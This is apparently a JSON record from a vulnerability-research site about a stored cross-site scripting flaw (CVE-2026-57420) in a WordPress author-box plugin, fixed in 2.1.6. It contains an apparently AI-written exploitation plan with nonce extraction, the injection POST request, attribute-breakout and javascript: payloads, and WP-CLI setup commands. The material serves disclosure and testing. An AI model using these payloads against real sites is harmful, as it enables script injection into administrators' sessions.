[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fE8Rs7DfldEyhwg3w9LX55jOE_EWl7pgu84_p6o2PrsQ":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":27,"research_verified":28,"research_rounds_completed":29,"research_plan":30,"research_summary":9,"research_vulnerable_code":9,"research_fix_diff":9,"research_exploit_outline":9,"research_model_used":31,"research_started_at":32,"research_completed_at":33,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":28,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":28,"source_links":34},"CVE-2026-57420","author-box-wp-lens-authenticated-subscriber-stored-cross-site-scripting","Author Box WP Lens \u003C= 2.1.5 - Authenticated (Subscriber+) Stored Cross-Site Scripting","The Author Box WP Lens plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.1.5 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","author-box-for-divi",null,"\u003C=2.1.5","2.1.6","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-07-08 00:00:00","2026-07-14 19:24:13",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F7092f2c4-1f50-4daf-a428-cc80a0aaa77c?source=api-prod",7,[22,23,24,25,26],"index.php","readme.txt","templates\u002Fauthor-box.php","templates\u002Fsettings.php","templates\u002Fuser_page.php","researched",false,3,"# Exploitation Research Plan - CVE-2026-57420\n\n## 1. Vulnerability Summary\nThe **Author Box WP Lens** plugin (\u003C= 2.1.5) is vulnerable to **Authenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin allows users (including those with Subscriber-level permissions) to save arbitrary metadata in their profile (specifically photograph URLs and social media links) without sufficient sanitization. Furthermore, these values are rendered in the frontend author box template (`templates\u002Fauthor-box.php`) without proper escaping, allowing an attacker to inject malicious JavaScript that executes when any user views a post authored by the attacker.\n\n## 2. Attack Vector Analysis\n- **Vulnerable Endpoint**: `wp-admin\u002Fprofile.php` (handled by `personal_options_update` and `edit_user_profile_update` hooks).\n- **Vulnerable Hooks**: `ABFD::abfd_user_save` (hooked to profile updates).\n- **Vulnerable Sink**: `templates\u002Fauthor-box.php` (frontend rendering).\n- **Vulnerable Parameters**: \n    - `abfd-user-photograph`\n    - `abfd-user-social-networks-[network_key]` (e.g., `abfd-user-social-networks-facebook`)\n- **Authentication Level**: Subscriber or higher.\n- **Preconditions**: The plugin must be active and configured to display the author box on posts (default behavior).\n\n## 3. Code Flow\n1. **Input**: A Subscriber user updates their profile at `\u002Fwp-admin\u002Fprofile.php`.\n2. **Registration**: `index.php` registers the save handler:\n   ```php\n   add_action('personal_options_update', array('ABFD', 'abfd_user_save'));\n   ```\n3. **Storage**: The function `abfd_user_save` (inferred) processes the `POST` request and uses `update_user_meta` to save fields starting with `abfd-user-` to the database without sanitization.\n4. **Rendering**: When a post by that author is viewed, `index.php` triggers `the_content` filter, which calls `ABFD::the_content` and eventually renders `templates\u002Fauthor-box.php`.\n5. **Execution**: In `templates\u002Fauthor-box.php`, the stored meta is echoed:\n   ```php\n   \u002F\u002F Vulnerable Photograph sink\n   \u003Cdiv class=\"abfd-photograph\" style=\"background-image: url('\u003C?php echo $fields['photograph']; ?>');\">\u003C\u002Fdiv>\n   \n   \u002F\u002F Vulnerable Social Link sink\n   \u003Ca ... href=\"\u003C?php echo $fields['social-networks'][$key]; ?>\" ...>\n   ```\n   The lack of `esc_url()` or `esc_attr()` here allows for attribute breakout.\n\n## 4. Nonce Acquisition Strategy\nThe profile update requires a nonce generated by `wp_nonce_field('abfd', 'abfd-nonce')` in `templates\u002Fuser_page.php`.\n\n1. **Navigate**: Use `browser_navigate` to `\u002Fwp-admin\u002Fprofile.php` while logged in as a Subscriber.\n2. **Extract**: Use `browser_eval` to extract the nonce value from the hidden input field.\n   ```javascript\n   \u002F\u002F The field is rendered by wp_nonce_field('abfd', 'abfd-nonce')\n   document.getElementsByName('abfd-nonce')[0].value\n   ```\n\n## 5. Exploitation Strategy\n1. **Login**: Authenticate as a Subscriber user.\n2. **Retrieve Nonce**: Navigate to the profile page and extract the `abfd-nonce`.\n3. **Inject Payload**: Send an `http_request` (POST) to `wp-admin\u002Fprofile.php` to update the user's meta.\n   - **Target URL**: `\u002Fwp-admin\u002Fprofile.php`\n   - **Method**: `POST`\n   - **Body Parameters**:\n     - `action`: `update`\n     - `user_id`: [Subscriber ID]\n     - `abfd-nonce`: [Extracted Nonce]\n     - `abfd-user-photograph`: `https:\u002F\u002Fexample.com\u002Fx.png');\" onmouseover=\"alert(document.domain)\" data-x=\"`\n     - `abfd-user-social-networks-facebook`: `javascript:alert('XSS_SOCIAL')`\n     - `from`: `profile`\n     - `checkuser_id`: [Subscriber ID]\n     - `submit`: `Update Profile`\n4. **Trigger XSS**: \n   - Ensure the Subscriber has at least one published post.\n   - Navigate to the URL of that post as an administrator.\n   - Hover over the author photograph or click the Facebook social icon to trigger the payload.\n\n## 6. Test Data Setup\n1. **Plugin Configuration**: Ensure \"Author Box WP Lens\" is active.\n2. **User Creation**: Create a user with the `subscriber` role.\n3. **Content Creation**: Create a post and set the `subscriber` user as the author.\n   ```bash\n   wp user create attacker attacker@example.com --role=subscriber --user_pass=password123\n   wp post create --post_title=\"XSS Test Post\" --post_author=$(wp user get attacker --field=ID) --post_status=publish\n   ```\n\n## 7. Expected Results\n- The HTTP POST request should return a `302` redirecting back to `profile.php?updated=1`.\n- On the frontend post page, the HTML for the author box should look like:\n  ```html\n  \u003Cdiv class=\"abfd-photograph\" style=\"background-image: url('https:\u002F\u002Fexample.com\u002Fx.png');\" onmouseover=\"alert(document.domain)\" data-x=\"');\">\u003C\u002Fdiv>\n  \u003Ca href=\"javascript:alert('XSS_SOCIAL')\" ...>\n  ```\n\n## 8. Verification Steps\n1. **Check Database**: Use WP-CLI to verify the payload is stored in user meta.\n   ```bash\n   wp user meta get $(wp user get attacker --field=ID) abfd-user-photograph\n   ```\n2. **Check Frontend Response**: Fetch the post content and search for the unescaped payload.\n   ```bash\n   # Use http_request to get the post HTML and look for:\n   # onmouseover=\"alert(document.domain)\"\n   ```\n\n## 9. Alternative Approaches\nIf `personal_options_update` is strictly protected, the same fields might be exploitable via the \"Author Box for Divi\" settings page if they are accessible to higher roles (Contributor\u002FAuthor), or via the `abfd_refresh_preview` AJAX action if it renders the template with unsanitized data:\n- **Action**: `wp_ajax_abfd_preview`\n- **Hook**: `ABFD::abfd_refresh_preview`\n- **Method**: POST to `\u002Fwp-admin\u002Fadmin-ajax.php` with `action=abfd_preview` and the payload fields.","gemini-3-flash-preview","2026-07-16 15:08:07","2026-07-16 15:08:58",{"type":35,"vulnerable_version":36,"fixed_version":11,"vulnerable_browse":37,"vulnerable_zip":38,"fixed_browse":39,"fixed_zip":40,"all_tags":41},"plugin","2.1.5","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fauthor-box-for-divi\u002Ftags\u002F2.1.5","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fauthor-box-for-divi.2.1.5.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fauthor-box-for-divi\u002Ftags\u002F2.1.6","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fauthor-box-for-divi.2.1.6.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fauthor-box-for-divi\u002Ftags"]